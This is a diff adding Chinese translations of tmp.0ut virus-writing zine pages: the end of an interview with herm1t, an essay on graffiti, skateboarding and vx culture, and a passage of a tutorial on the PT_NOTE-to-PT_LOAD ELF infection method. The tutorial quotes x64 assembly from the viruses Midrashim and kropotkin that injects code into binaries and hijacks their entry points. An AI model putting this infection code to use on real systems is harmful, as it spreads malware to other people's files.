+  你对CTF和其他黑客竞赛有什么看法?
+
+herm1t:
+  我不喜欢CTF因为我讨厌时间压力。我知道如何快速做事并保持冷静,但当我看到时钟
+  在滴答作响时,我就会很烦躁。
+
+t0:
+  你在测试病毒时有损坏过自己的系统吗?如果有,能谈谈这个情况吗?
+
+herm1t:
+  由于我的病毒都没有破坏性的有效载荷,而且通常它们被故意限制在当前目录,所以测试
+  它们是安全的。也许有一两次它们逃脱了,但重新安装受影响的软件包很容易。
+
+t0:
+  你理想中的病毒会是什么样的?
+
+herm1t:
+  复杂性,不规则性。越复杂越好。
+
+t0:
+  你从技术之外的哪些地方寻找灵感?
+
+herm1t:
+  我很难找到技术之外的东西,当然我也做所有人都做的普通事情,但我最喜欢的是数学、
+  密码学和参与政治。
+
+t0:
+  你能分享一些关于勒索软件的想法吗?
+
+herm1t:
+  勒索软件和我们的领域一样古老。AIDS木马写于1989年!加密货币的广泛使用和其较难
+  追踪的特性使得勒索软件的扩散不可避免。从技术角度来看,它很无聊(除了一些作者
+  在密码学上犯的滑稽错误,比如用time(NULL)作为种子生成密钥,在公开羞辱后又
+  用类似md5(time(NULL))这样的东西替换)
+
+t0:
+  这是你的自由空间,herm1t。在这里你可以留下任何你想说的:向朋友或其他人问好或
+  祝愿等。
+
+herm1t:
+  向过去和未来的所有黑客和病毒编写者致敬 :)
+
\ No newline at end of file diff --git a/1/zh/17/Images/1 b/1/zh/17/Images/1 new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/1/zh/17/Images/1 @@ -0,0 +1 @@ + diff --git a/1/zh/17/Images/1up.jpg b/1/zh/17/Images/1up.jpg new file mode 100644 index 0000000..8ac75ba Binary files /dev/null and b/1/zh/17/Images/1up.jpg differ diff --git a/1/zh/17/Images/29a1.png b/1/zh/17/Images/29a1.png new file mode 100644 index 0000000..3ec243e Binary files /dev/null and b/1/zh/17/Images/29a1.png differ diff --git a/1/zh/17/Images/conflict.jpg b/1/zh/17/Images/conflict.jpg new file mode 100644 index 0000000..88959d8 Binary files /dev/null and b/1/zh/17/Images/conflict.jpg differ diff --git a/1/zh/17/Images/cryptel.png b/1/zh/17/Images/cryptel.png new file mode 100644 index 0000000..0deb680 Binary files /dev/null and b/1/zh/17/Images/cryptel.png differ diff --git a/1/zh/17/Images/flyer-bad-brains.jpg b/1/zh/17/Images/flyer-bad-brains.jpg new file mode 100644 index 0000000..62642af Binary files /dev/null and b/1/zh/17/Images/flyer-bad-brains.jpg differ diff --git a/1/zh/17/Images/gap.jpg b/1/zh/17/Images/gap.jpg new file mode 100644 index 0000000..2066e09 Binary files /dev/null and b/1/zh/17/Images/gap.jpg differ diff --git a/1/zh/17/Images/graff.jpg b/1/zh/17/Images/graff.jpg new file mode 100644 index 0000000..df7596e Binary files /dev/null and b/1/zh/17/Images/graff.jpg differ diff --git a/1/zh/17/Images/graff2.jpg b/1/zh/17/Images/graff2.jpg new file mode 100644 index 0000000..cdee8da Binary files /dev/null and b/1/zh/17/Images/graff2.jpg differ diff --git a/1/zh/17/Images/legowelt.png b/1/zh/17/Images/legowelt.png new file mode 100644 index 0000000..f733791 Binary files /dev/null and b/1/zh/17/Images/legowelt.png differ diff --git a/1/zh/17/Images/molo.png b/1/zh/17/Images/molo.png new file mode 100644 index 0000000..8ccf52e Binary files /dev/null and b/1/zh/17/Images/molo.png differ diff --git a/1/zh/17/Images/punk.jpg b/1/zh/17/Images/punk.jpg new file mode 100644 index 0000000..0dfc080 Binary files /dev/null and b/1/zh/17/Images/punk.jpg differ diff --git a/1/zh/17/Images/red.png b/1/zh/17/Images/red.png new file mode 100644 index 0000000..a38d53c Binary files /dev/null and b/1/zh/17/Images/red.png differ diff --git a/1/zh/17/Images/shaun.jpg b/1/zh/17/Images/shaun.jpg new file mode 100644 index 0000000..a614d87 Binary files /dev/null and b/1/zh/17/Images/shaun.jpg differ diff --git a/1/zh/17/Images/sniff.jpg b/1/zh/17/Images/sniff.jpg new file mode 100644 index 0000000..475473d Binary files /dev/null and b/1/zh/17/Images/sniff.jpg differ diff --git a/1/zh/17/Images/sts.jpg b/1/zh/17/Images/sts.jpg new file mode 100644 index 0000000..3291ad3 Binary files /dev/null and b/1/zh/17/Images/sts.jpg differ diff --git a/1/zh/17/Images/toys.png b/1/zh/17/Images/toys.png new file mode 100644 index 0000000..b026423 Binary files /dev/null and b/1/zh/17/Images/toys.png differ diff --git a/1/zh/17/Images/z3.jpg b/1/zh/17/Images/z3.jpg new file mode 100644 index 0000000..771668c Binary files /dev/null and b/1/zh/17/Images/z3.jpg differ diff --git a/1/zh/17/index.html b/1/zh/17/index.html new file mode 100644 index 0000000..36d6a71 --- /dev/null +++ b/1/zh/17/index.html @@ -0,0 +1,276 @@ + + +tmp.0ut + + + + + +
+
+
+		___________                              __
+		\__    ___/____ ______      ____  __ ___/  |_
+		  |    | /     \\____ \    /  _ \|  |  \   __\
+		  |    ||  Y Y  \  |_> >  (  <_> )  |  /|  |
+		  |____||__|_|  /   __/ /\ \____/|____/ |__|
+		              \/|__|    \/
+
++---------------------------------------------------------------------------------------+
+|::::::::::| 地下世界:涂鸦、滑板和病毒编写 |::::::::::|
++---------------------------------------------------------------------------------------+
+
+由s01den倾情奉献
+2020年2月
+
+---\ 引言 \---
+
+这次不是严格意义上的技术文章,毕竟一本杂志不仅仅是用来传递知识的,
+也是用来表达、讨论、发散思维的。
+这种古老的知识共享媒介可能在我们的世界里已经不太常见了,
+即"vx场景"以及更广泛的所有与黑客相关的场景。
+
+当然,有些仍在坚持,比如不朽的Phrack[0],而其他一些则
+更为罕见,它们的形式往往与我们所熟知的旧式txt文件大不相同,
+比如PagedOut[1]。
+
+这种格式是如何消失的?为什么会消失?现在用什么来替代杂志?
+我不会在这里回答这些问题。
+我想在这里展示的是这个世界与其他更"真实"的场景之间的联系,比如涂鸦或滑板,
+这些场景并没有失去杂志这个古老的传统。
+我在这里会经常使用"场景"这个词,它简单来说就是人类活动发生的空间,
+无论是什么活动。
+
+每个涉及知识传递的集体实践都有很多场景
+(通常是通过杂志,我们稍后会谈到这一点)。
+当然,我们可以提到vx场景(聚集编写病毒并研究相关技术的人的场景);
+破解场景(聚集各种软件破解者群体的场景),还有
+主要在"现实生活"中发展的场景,比如你家附近的滑板场景、当地的涂鸦场景等,
+或者你的朋克场景。
+
+
+---\ 标准的劫持 \---
+
+这些看似遥远的文化有什么共同点?
+首先是对社会规范的滥用。
+滑板和涂鸦是街头的实践,它们给街道注入生命,
+它们将这个死寂的空间,每个人每天都在其中行走却从未注意到细节(贴纸、标签、建筑好奇之处...),
+转变为表达的空间。
+
+任何滑板手都会告诉你,滑板不可逆转地改变了你看待城市空间的方式。
+你最终会到处寻找场地,每次乘车、步行或骑自行车时都会这样。
+每一组台阶、每一根栏杆、每一张长凳,甚至每一面墙(墙滑万岁)都成为潜在的表达场所。
+
+
+Shaun Currie表演鼻滑。
+
+对于涂鸦来说,这更加激进:任何表面都可以,越是暴露的地方,
+回报就越大,但留下你的印记也就越危险。
+正如那句话所说:"做一幅涂鸦,你就再也不会以同样的眼光看巴黎了。"[2]
+街道变成了一块巨大的画布,你可以在上面写下自己或自己团队的名字。
+
+每天在街上,无论我们是走路还是坐火车,
+它都在那里,毫不掩饰:涂鸦者的地盘战争;无论人们选择忽视它
+还是被这些"破坏"、这种"破坏行为"所困扰。
+
+涂鸦给我们带来的是大众艺术!由人民创作,为人民服务。
+不需要去博物馆花钱,不需要有基本的文化资本就
+能欣赏它。它是免费的,你只需要走出家门!
+
+ 
+ Soffles & Babs 
+
+劫持对于最广义的黑客来说也是必不可少的。
+人们经常说,黑客就是简单地将某物从其原始功能中转移,
+比如破解者研究软件保护以绕过它们,或者病毒编写者
+劫持程序以注入代码。
+
+正是因为固有的标准滥用,这些实践经常受到
+外界的不满。
+有多少滑板会因为首都民兵的到来或者那些认为"长凳
+不是用来干这个的"的老顽固而被打断?毕竟,"我们给你们建了滑板场,那才是用来干这个的地方"。
+更不用说涂鸦了,它只有在被绅士化、被关进
+
+艺术画廊并出售时才不被视为破坏行为。
+在这里,人们再次试图控制它,通过创造新的、更"适应"的规范来扼杀这种规范偏离的精神。
+
+与黑客世界相关的场景,如vx场景或破解场景,当然也名声不佳。
+我们多少次听到"程序员创造而破解者破坏"?
+最后,不幸的是对于vx场景来说,人们很少想象有人可以对研究和设计
+恶意软件感兴趣而不将它们传播到野外...
+此外,破解和计算机病毒经常被认为是"网络破坏行为"...
+
+但是,如果事实上,不是我们为了单纯的乐趣而劫持标准呢?
+如果事实上,不是我们定义了偏差呢?
+
+社会学家Howard Becker在这个主题上做了大量工作[3],在他的《局外人》一书中,他发展了这样的观点:
+偏差不是来自被标记为偏差的个人,而是来自那些参与执行标准的人。
+"社会群体通过制定规范来创造偏差,违反这些规范不一定是他们自己行为的结果。
+构成偏差,是通过将这些标准应用于某些个人并将其标记为偏差者。"
+
+这解释了很多事情,例如为什么在路缘[4]上滑板会受到如此不满。
+既定标准只是使用这个设施(路缘可以是长凳)
+来做某件特定的事(坐在上面);任何偏离这个规则的行为都会被视为偏差。
+
+因此,滑板手、涂鸦者和黑客并不是为了偏离而偏离,他们只是
+以创造性的方式利用一个媒介,以一种最初并非预期的方式。
+当然会有反应:城市适应了,我们看到"防滑板"设施在我们的场地上、在他们的长凳上开花;
+就像专门针对涂鸦者的警察部队发展一样;
+就像反病毒软件公司的成长一样。
+
+这些反制措施并不会让人气馁,恰恰相反。
+反动力量和涂鸦实践者之间就此展开了一场猫鼠游戏:
+警卫的存在为地铁中的涂鸦会话增添了或多或少的渗透游戏维度;
+就像反病毒软件的出现在逻辑上导致了病毒中隐藏方法(如多态性)的出现。
+
+运动只能通过矛盾而存在。
+"在所有事物和现象中,它们矛盾方面的相互依存和斗争决定了
+它们的生命并推动它们的发展。没有不包含矛盾的事物。没有矛盾,就没有宇宙",毛泽东说[5]。
+这里存在着实践者和那些想要规范或禁止实践的人之间的矛盾;而这个矛盾
+使实践发展并适应强加给它的约束。
+因此反制措施也会适应自己,从而重新开始这个循环。
+这就是事物的辩证运动。
+
+
+---\ 组织成群体 \---
+
+显然,我从本文开始就提到的所有实践的社会方面在它们的构建中都是首要的。
+一个"场景"本质上是一个"宏观群体",主要由许多小群体(无论是正式的还是非正式的)组成。
+没有群体,就没有场景。
+这些群体可以根据相关实践采取不同的形式。例如,我们会说涂鸦者的"团队"和
+破解者或病毒编写者的"组织"。
+在滑板手中,群体更加非正式,主要基于亲和力,
+特别表现为一群一起滑板的伙伴,不像涂鸦者团队那样给自己取名。
+
+ 
+STS团队和1UP团队
+
+那么为什么在其他实践中要组织成群体呢?
+它允许你在其他群体面前确认你的群体在场景中的"官方"存在。
+人们可能认为创建这样一个身份的需求直接源于实践的类型。
+确实,当滑板本身是一种个人实践时,一些涂鸦者会合作创作大型作品,混合他们的风格。
+就像在朋克场景中,乐队是围绕音乐实践形成的。
+
+
+一些朋克音乐会的海报。
+
+很难看到一个人在音乐会上同时演奏鼓、吉他、贝斯并唱歌。
+在这里,作为一个群体来确认自己的需求是显而易见的。
+当成员决定制作一些不会短暂消失的东西时,滑板手群体可以正式形成,
+比如视频。
+
+似乎只要实践产生了某种物质性的东西或某种会持续一段时间的东西[6],组织成群体就
+自然而然地出现了。
+当然这不是绝对的规则,因为有些涂鸦者独自工作,就像有些病毒编写者独自
+工作并发布他们的研究一样;但在群体中工作通常会产生更重要的东西,并允许更好地
+组织生产。
+
+对于破解者来说,这种组织是核心;成员在群体中有不同的角色:有些主要是程序员
+(他们编写工具,如脱壳器),其他人主要做逆向工程(他们直接研究
+软件保护),最后一些人负责分发"发布版",即破解的程序。
+
+甚至还有艺术家通过音乐和图形,让不同的群体以另一种方式确认他们的身份,
+通过在某些发布版中整合他们的作品(比如在注册机[7]中)。这个子场景甚至发展成了一个
+独立的场景,形成了演示场景[8]。
+关于破解场景的更多信息,我推荐Xylitol在Rafale[9]中发表的"场景概述"文章。
+
+
+Team RED的注册机
+
+我们可以看到涂鸦和破解场景之间的明显联系。
+
+
+---\ 知识的传递 \---
+
+要让一种文化持续并发展,它当然必须能够以任何方式传递。
+这采取各种形式,但几乎从来没有学习者和教师之间的支配关系。
+以滑板为例,我们如何学习滑板?当然有"学校"甚至官方滑板教练;
+但通常,一个人是通过朋友或与朋友一起被引入滑板场景的。
+
+因此,建立了一种水平关系,我们通过与他人一起滑板、提问、观察来学习,然后
+有时通过观看视频(这是我们第一个知识传递媒介的例子)。
+我们互相帮助,我们可以在尝试某些动作之前做"预演"来让自己安心,我们同时学习动作
+和我们的伙伴,我们在"S.K.A.T.E游戏"[10]中相互对抗。
+
+没有经典的师生关系,更高级的实践者只是建议初学者,
+他们自己必须努力工作才能进步。
+因此我们在这里看到,向新实践者传递知识是通过口头交流和示范,
+通过视频或直接与更有经验的实践者面对面进行的。
+
+就像在滑板中一样,在不同的黑客环境中知识的传递也是水平的
+(尽管现在有"网络安全"的大学课程)。
+人们主要通过自学、实验、解决挑战、观看会议、参加CTF,
+通过与场景中更有经验的成员交谈来学习;当滑板手在街上或滑板场相遇时,
+我们黑客在IRC或discord上相遇(有时甚至在"现实"中,在大会上)交流,让场景活跃起来。
+
+然后我们可以自己写文章(从让我们头疼的Write-Up挑战开始)来轮流传递。
+当我们有了足够的水平,我们自然会在特定的学科中找到方向
+(逆向工程、Web、系统操作、密码学...),这引导我们专注于特定的场景
+(比如逆向工程爱好者的破解场景或pwn爱好者的控制台黑客场景)
+或者,例如,在更高水平上继续活跃在全球CTF场景中。
+
+
+通过这种方式,我们形成了群体,我们与之一起学习、创造和分享,最终让我们所在的场景活跃起来,
+并顺便推进我们的学科。
+
+无论我们是朋克、滑板手、涂鸦者还是黑客;自己动手和自我组织在我们的实践中占据中心位置,
+这也是我们与主流文化区分开来的原因之一。
+自己想办法、互相帮助、自学;所有这些都导致了个人或集体的努力,并创造。
+不是标准化而是提出新的东西。
+
+这就是我们来到最重要的共同点:杂志。
+
+杂志("magazine"的缩写)只是一个手工制作的出版物(这里我们再次发现
+自己动手的精神)和非专业的,由一群对共同的、通常是晦涩的主题充满热情的人制作,
+因此每期产量很少。
+自助出版允许更大的创作和语气自由,所以杂志经常非常具有政治性。
+如果它们是收费的(这种情况很少),通常价格很低甚至免费。
+
+在物理形式上,它们通常尺寸较小,充满拼贴、绘画和文字。
+内容根据(自助)编辑它的群体所关注的中心主题而变化,但通常保持多样性,
+因此在诗歌、故事、哲学论文、访谈[11]旁边发现素食食谱并不奇怪,
+歌词甚至实用指南;所有这些都被自制的插图包围(而且经常充满爱!)。
+
+  
+依次为:Sniffin' Glue;Molotov & Confettis;Toys Digest涂鸦杂志。
+
+虽然它们最早出现在1930年代的科幻迷中,但现在几乎在每个"地下"文化中都能找到,
+在朋克文化中(在那里它们占据非常重要的位置)以及在虚拟场景中,比如显然的vx场景[12]。
+因此,电子杂志不受限于有限的地理空间:潜在的所有对同一主题感兴趣的人都可以在那里。
+
+---\ 结论 \---
+
+我们看到了这些不同场景之间的联系,它们都有共同的特点:
+- 对既定标准的偏离
+- 组织成群体
+- 通过杂志传递知识
+
+这些联系不是偶然的,它们反映了这些实践的本质:创造性地使用媒介,
+以非预期的方式,并在此过程中建立社区。
+
+--- 注释 ---
+[0] http://phrack.org/
+[1] https://pagedout.institute/
+[2] 这句话来自一位著名的巴黎涂鸦者
+[3] Howard S. Becker, Outsiders: Studies in the Sociology of Deviance
+[4] 路缘是指人行道和街道之间的边缘
+[5] 毛泽东,《矛盾论》
+[6] 比如视频、杂志、软件等
+[7] 用于生成软件注册码的程序
+[8] 一个专注于计算机艺术的场景
+[9] 一本法国的黑客杂志
+[10] 一种滑板游戏,类似于篮球中的HORSE
+[11] 就像你现在正在读的这个
+[12] 29A、CodeBreakers等都是著名的病毒编写者杂志
+
+
diff --git a/1/zh/2.html b/1/zh/2.html new file mode 100644 index 0000000..562adf1 --- /dev/null +++ b/1/zh/2.html @@ -0,0 +1,368 @@ + + +tmp.0ut + + + + +
+                                                            ┌───────────────────────┐
+                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                            │ █   █ █ █ █   █       │
+                                                            │ █   █ █ █ █▀▀▀▀       │
+                                                            │ █   █   █ █     ▄     │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄   ▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                   █   │
+在x64汇编中实现PT_NOTE感染方法                                 │                   █   │
+~ sblip和tmp.0ut团队                                         └───────────────────█ ──┘
+
+在tmp.out的第一期中,我们提供了几个PT_NOTE->PT_LOAD感染算法的示例,其中三个是x64汇编版本,
+一个是Rust版本。对于那些正在学习这门技艺的人来说,我认为讨论如何在x64汇编中实现一些具体步骤
+会很有用。2019年3月,当我在进行backdoorfactory的golang重写工作时,我写了一篇关于在golang中
+实现该算法的详细分析,感兴趣的读者可以在下面的链接中找到:
+
+  https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
+
+x64的算法当然是相同的,不过我会在下面提供一些代码片段,希望这些能对有志于成为x64汇编ELF
+程序员的读者有所帮助。
+
+我们可以使用上述文章中列出的相同步骤作为参考,尽管根据具体实现,执行这些步骤的顺序可能会
+有所变化。有些方法会先写入一个新文件到磁盘然后进行覆盖,而其他方法则直接写入文件。
+
+从上面的链接中,实现PT_NOTE->PT_LOAD感染算法的一般步骤如下:
+
+  1. 打开要注入的ELF文件
+  2. 保存原始入口点,e_entry
+  3. 解析程序头表,寻找PT_NOTE段
+  4. 将PT_NOTE段转换为PT_LOAD段
+  5. 更改此段的内存保护以允许执行指令
+  6. 将入口点地址更改为不会与原始程序执行冲突的区域
+  7. 调整磁盘上的大小和虚拟内存大小以适应注入代码的大小
+  8. 将我们转换后的段的偏移指向原始二进制文件的末尾,我们将在那里存储新代码
+  9. 用跳转到原始入口点的指令修补代码的末尾
+ 10. 将我们注入的代码添加到文件末尾
+*11. 将文件写回磁盘,覆盖原始文件* -- 我们这里不会讨论这种实现变体,它会在磁盘上创建一个
+     新的临时ELF二进制文件并覆盖宿主文件,如上文所述。
+
+我们将大致遵循上述步骤,但读者应该记住,其中一些步骤可能会以不同的顺序执行(而且有些步骤
+在其他步骤完成之前无法执行)- 但最终所有步骤都必须完成。
+
+1. 打开要注入的ELF文件:
+
+getdents64()系统调用是我们在64位系统上查找文件的方式。该函数定义为:
+
+  int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
+
+我们将把实现getdents64()作为读者的练习 - 在本期发布的代码中有几个示例,包括在Midrashim、
+kropotkin、Eng3ls和Bak0unin中。
+
+对于ELF历史学家来说,我20年前写了一篇糟糕的(现在完全过时的)文章,讲述如何在32位AT&T语法
+中实现这一点,位于这里:
+
+  https://tmpout.sh/papers/getdents.old.att.syntax.txt
+
+假设我们已经调用了getdents64()并在栈上存储了目录项结构体,我们可以从查看它得知:
+
+  struct linux_dirent {
+      unsigned long  d_ino;     /* Inode号 */
+      unsigned long  d_off;     /* 到下一个linux_dirent的偏移 */
+      unsigned short d_reclen;  /* 这个linux_dirent的长度 */
+      char           d_name[];  /* 文件名(以null结尾) */
+                        /* 长度实际上是(d_reclen - 2 -
+                           offsetof(struct linux_dirent, d_name)) */
+      /*
+      char           pad;       // 零填充字节
+      char           d_type;    // 文件类型(仅自Linux
+                                // 2.6.4起);偏移是(d_reclen - 1)
+      */
+  }
+
+以null结尾的文件名d_name位于偏移[rsp+18]或[rsp+0x12]处
+
+  d_ino是字节0-7              - unsigned long
+  d_off是字节8-15             - unsigned long
+  d_reclen是字节16-17         - unsigned short
+  d_name从第18个字节开始      - 以null结尾的文件名
+
+对于我们的open()调用,int open(const char *pathname, int flags, mode_t mode);
+
+  - rax将保存系统调用号,2
+  - rdi将保存文件名d_name,在我们的例子中是[rsp+18]
+  - rsi将保存标志,可以是O_RDONLY (0)或O_RDWR (02),取决于我们的vx如何工作
+  - rdx将保存模式,但我们不需要这个并将把它置零。
+
+所以以下代码:
+
+  mov rax, 2         ; open系统调用
+  mov rdi, [rsp+18]  ; d_name来自从栈开始处的dirent结构体
+  mov rsi, 2         ; O_RDWR / 读写
+  syscall
+
+如果成功,将在rax中返回文件描述符。如果是0或负数,则打开文件时发生了错误。
+
+  cmp rax, 0
+  jng file_open_error
+
+或
+  test rax, rax
+  js file_open_error
+
+2. 保存原始入口点,e_entry:
+
+在TMZ的Midrashim中,他将原始入口点存储在r14寄存器中以供后续使用,这个值是从栈上复制的。
+高位寄存器r13、r14和r15是存储数据/地址以供后续使用的好地方,因为它们不会被系统调用破坏。
+
+  ; 栈缓冲区:
+  ; r15 + 0 = 栈缓冲区(10000字节)= stat
+  ; r15 + 48 = stat.st_size
+  ; r15 + 144 = ehdr
+  ; r15 + 148 = ehdr.class
+  ; r15 + 152 = ehdr.pad
+  ; r15 + 168 = ehdr.entry
+  ---cut---
+  
+  mov r14, [r15 + 168]  ; 将目标原始ehdr.entry从[r15 + 168]存储到r14中
+
+3. 解析程序头表,寻找PT_NOTE段:
+
+正如你可能从本文的标题中推断的那样,我们的目标是将PT_NOTE段转换为可加载的PT_LOAD段,并具有
+rx(或rwx)权限。如果我不提到这个算法对某些二进制文件(如golang二进制文件)以及使用
+-fcf-protection标志编译的任何二进制文件不能"开箱即用",那就太失职了,除非我们做一些我们
+还没有做(或看到)的更多魔法操作。下一期内容,Every0ne?
+
+除了这些边缘情况,基本概念很简单 - PT_LOAD段在运行ELF二进制文件时实际上会被加载到内存中 - 
+而PT_NOTE段则不会。但是,如果我们将PT_NOTE段改为PT_LOAD类型,并将内存权限至少更改为读和
+执行,我们就可以在那里放置我们想要运行的代码,将我们的数据写入原始文件的末尾,并更改相关的
+程序头表条目变量以正确加载它。
+
+我们在虚拟地址字段v_addr中放入一个很高的内存值,这样就不会干扰正常的程序执行。然后我们修补
+原始入口点,使其首先跳转到我们新的PT_LOAD段代码,该代码执行它的任务,然后调用原始程序代码。
+
+64位ELF程序头表条目具有以下结构:
+
+  typedef struct {
+      uint32_t   p_type;   // 4字节
+      uint32_t   p_flags;  // 4字节
+      Elf64_Off  p_offset; // 8字节
+      Elf64_Addr p_vaddr;  // 8字节
+      Elf64_Addr p_paddr;  // 8字节
+      uint64_t   p_filesz; // 8字节
+      uint64_t   p_memsz;  // 8字节
+      uint64_t   p_align;  // 8字节
+  } Elf64_Phdr;
+
+
+在这段来自kropotkin.s的代码片段中,我们通过将PHT的偏移加载到rbx中,将PHT条目数加载到ecx中,
+并读取条目开头的前4个字节来循环遍历每个程序头表条目,寻找值为4的条目,这是为PT_NOTE类型段
+指定的数字。
+
+parse_phdr:
+  xor rcx, rcx                       ; 将rcx置零
+  xor rdx, rdx                       ; 将rdx置零
+  mov cx, word [rax+e_hdr.phnum]     ; rcx包含PHT中的条目数
+  mov rbx, qword [rax+e_hdr.phoff]   ; rbx包含PHT的偏移
+  mov dx, word [rax+e_hdr.phentsize] ; rdx包含PHT中一个条目的大小
+
+  loop_phdr:
+      add rbx, rdx                   ; 每次迭代,加上一个PHT条目的大小
+      dec rcx                        ; 减少phnum,直到我们遍历完所有程序头或找到
+                                     ; PT_NOTE段
+      cmp dword [rax+rbx+e_phdr.type], 0x4  ; 如果是4,我们找到了一个PT_NOTE段,
+                                            ; 并转到感染它
+      je pt_note_found
+      cmp rcx, 0
+      jg loop_phdr
+      ...
+      ...
+  pt_note_found:
+
+4. 将PT_NOTE段转换为PT_LOAD段:
+
+要将PT_NOTE段转换为PT_LOAD段,我们必须更改描述该段的程序头表条目中的几个值。
+
+注意,32位ELF二进制文件有不同的PHT条目结构,p_flags值是结构体中的第7个条目,而在其64位
+对应项中是第2个条目。
+
+  typedef struct {
+      uint32_t   p_type;  <-- 将此值更改为PT_LOAD == 1
+      uint32_t   p_flags; <-- 更改为至少具有读+执行权限
+      Elf64_Off  p_offset;
+      Elf64_Addr p_vaddr; <-- 段将被加载的很高的虚拟地址
+      Elf64_Addr p_paddr;
+      uint64_t   p_filesz;
+      uint64_t   p_memsz;
+      uint64_t   p_align;
+  } Elf64_Phdr;
+
+首先,p_type必须从PT_NOTE(值为4)更改为PT_LOAD(值为1)。
+
+其次,p_flags必须至少更改为允许读和执行访问。这是一个标准的位掩码,就像unix文件权限一样,
+其中:
+
+  PF_X == 1
+  PF_W == 2
+  PF_R == 4
+
+在fasm语法中,如下所示,这只需简单地输入"PF_R or PF_X"即可。
+
+第三,我们需要为新的病毒数据选择一个加载地址。一个常见的技术是选择一个很高的地址,0xc000000,
+这个地址不太可能与现有段重叠。我们将其添加到stat.st_size文件大小中,在下面的例子中,这个
+大小已从r15+48检索并存储在r13中,然后我们加上0xc000000。然后我们将这个值存储在p_vaddr中。
+
+来自TMZ的Midrashim:
+
+  .patch_phdr:
+    mov dword [r15 + 208], PT_LOAD              ; 将[r15 + 208]中的phdr类型从
+                                                ; PT_NOTE改为PT_LOAD (1)
+    mov dword [r15 + 212], PF_R or PF_X         ; 将[r15 + 212]中的phdr.flags
+                                                ; 改为PF_X (1) | PF_R (4)
+    pop rax                                     ; 将目标EOF偏移恢复到rax中
+    mov [r15 + 216], rax                        ; phdr.offset [r15 + 216] = 目标
+                                                ; EOF偏移
+    mov r13, [r15 + 48]                         ; 将目标stat.st_size从[r15 + 48]
+                                                ; 存储到r13中
+    add r13, 0xc000000                          ; 将0xc000000加到目标文件大小上
+    mov [r15 + 224], r13                        ; 将[r15 + 224]中的phdr.vaddr
+                                                ; 改为r13中的新值
+                                                ; (stat.st_size + 0xc000000)
+    mov qword [r15 + 256], 0x200000             ; 将[r15 + 256]中的phdr.align设为2mb
+    add qword [r15 + 240], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 240]中的
+                                                ; phdr.filesz上 + 5用于跳转到
+                                                ; 原始ehdr.entry
+    add qword [r15 + 248], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 248]中的
+                                                ; phdr.memsz上 + 5用于跳转到
+                                                ; 原始ehdr.entry
+
+5. 更改此段的内存保护以允许执行指令:
+
+    mov dword [r15 + 212], PF_R or PF_X         ; 将[r15 + 212]中的phdr.flags
+                                                ; 改为PF_X (1) | PF_R (4)
+
+6. 将入口点地址更改为不会与原始程序执行冲突的区域。我们将使用0xc000000。选择一个在虚拟内存中
+   足够高的地址,这样加载时不会与其他代码重叠。
+
+    mov r13, [r15 + 48]     ; 将目标stat.st_size从[r15 + 48]存储到r13中
+    add r13, 0xc000000      ; 将0xc000000加到目标文件大小上
+    mov [r15 + 224], r13    ; 将[r15 + 224]中的phdr.vaddr改为r13中的新值
+                            ; (stat.st_size + 0xc000000)
+
+7. 调整磁盘上的大小和虚拟内存大小以适应注入代码的大小
+
+    add qword [r15 + 240], v_stop - v_start + 5  ; 将病毒大小加到[r15 + 240]中的
+                                                 ; phdr.filesz上 + 5用于跳转到
+                                                 ; 原始ehdr.entry
+    add qword [r15 + 248], v_stop - v_start + 5  ; 将病毒大小加到[r15 + 248]中的
+                                                 ; phdr.memsz上 + 5用于跳转到
+                                                 ; 原始ehdr.entry
+
+8. 将我们转换后的段的偏移指向原始二进制文件的末尾,我们将在那里存储新代码:
+
+   之前在Midrashim中,执行了这段代码:
+    
+    mov rdx, SEEK_END
+    mov rax, SYS_LSEEK
+    syscall                ; 在rax中获取目标EOF偏移
+    push rax               ; 保存目标EOF
+
+   在.patch_phdr中,我们使用这个值作为存储新代码的位置:
+
+    pop rax                ; 将目标EOF偏移恢复到rax中
+    mov [r15 + 216], rax   ; phdr.offset [r15 + 216] = 目标EOF偏移
+
+
+9. 用跳转到原始入口点的指令修补代码的末尾:
+
+   示例#1,来自Midrashim,使用Binjection的算法:
+
+    .write_patched_jmp:
+      ; 获取目标新EOF
+      mov rdi, r9            ; r9包含fd
+      mov rsi, 0             ; 寻址偏移0
+      mov rdx, SEEK_END      ; 从文件末尾开始
+      mov rax, SYS_LSEEK     ; lseek系统调用
+      syscall                ; 在rax中获取目标EOF偏移
+
+      ; 创建修补的跳转
+      mov rdx, [r15 + 224]         ; rdx = phdr.vaddr
+      add rdx, 5                   ; 跳转指令的大小
+      sub r14, rdx                 ; 从我们在步骤#2中存储的e_entry中减去跳转的大小
+                                   ; (保存e_entry)
+      sub r14, v_stop - v_start    ; 减去病毒代码本身的大小
+      mov byte [r15 + 300 ], 0xe9  ; 跳转指令的第一个字节
+      mov dword [r15 + 301], r14d  ; 要跳转到的新地址,通过减去病毒大小和跳转指令
+                                   ; 的大小来更新
+
+   示例#2,来自sblip/s01den vx,使用elfmaster的OEP技术:
+
+    解释这种方法超出了本文档的范围 - 参考:
+
+      https://tmpout.sh/1/11.html
+
+   来自kropotkin.s的代码:
+   
+       mov rcx, r15                    ; 保存的rsp
+       add rcx, VXSIZE
+       mov dword [rcx], 0xffffeee8     ; 相对调用到get_eip
+       mov dword [rcx+4], 0x0d2d48ff   ; sub rax, (VXSIZE+5)
+       mov byte  [rcx+8], 0x00000005 
+       mov word  [rcx+11], 0x0002d48
+       mov qword [rcx+13], r9          ; sub rax, entry0  
+       mov word  [rcx+17], 0x0000548
+       mov qword [rcx+19], r12         ; add rax, sym._start
+       mov dword [rcx+23], 0xfff4894c  ; movabs rsp, r14
+       mov word  [rcx+27], 0x00e0      ; jmp rax
+
+10. 将我们注入的代码添加到文件末尾:
+
+来自Midrashim:
+
+  我们直接将代码添加到文件末尾,并将新的PT_LOAD地址指向它。首先,我们使用lseek系统调用
+  寻址到文件末尾,该文件的文件描述符保存在寄存器r9中。调用.delta将下一条指令的地址压入
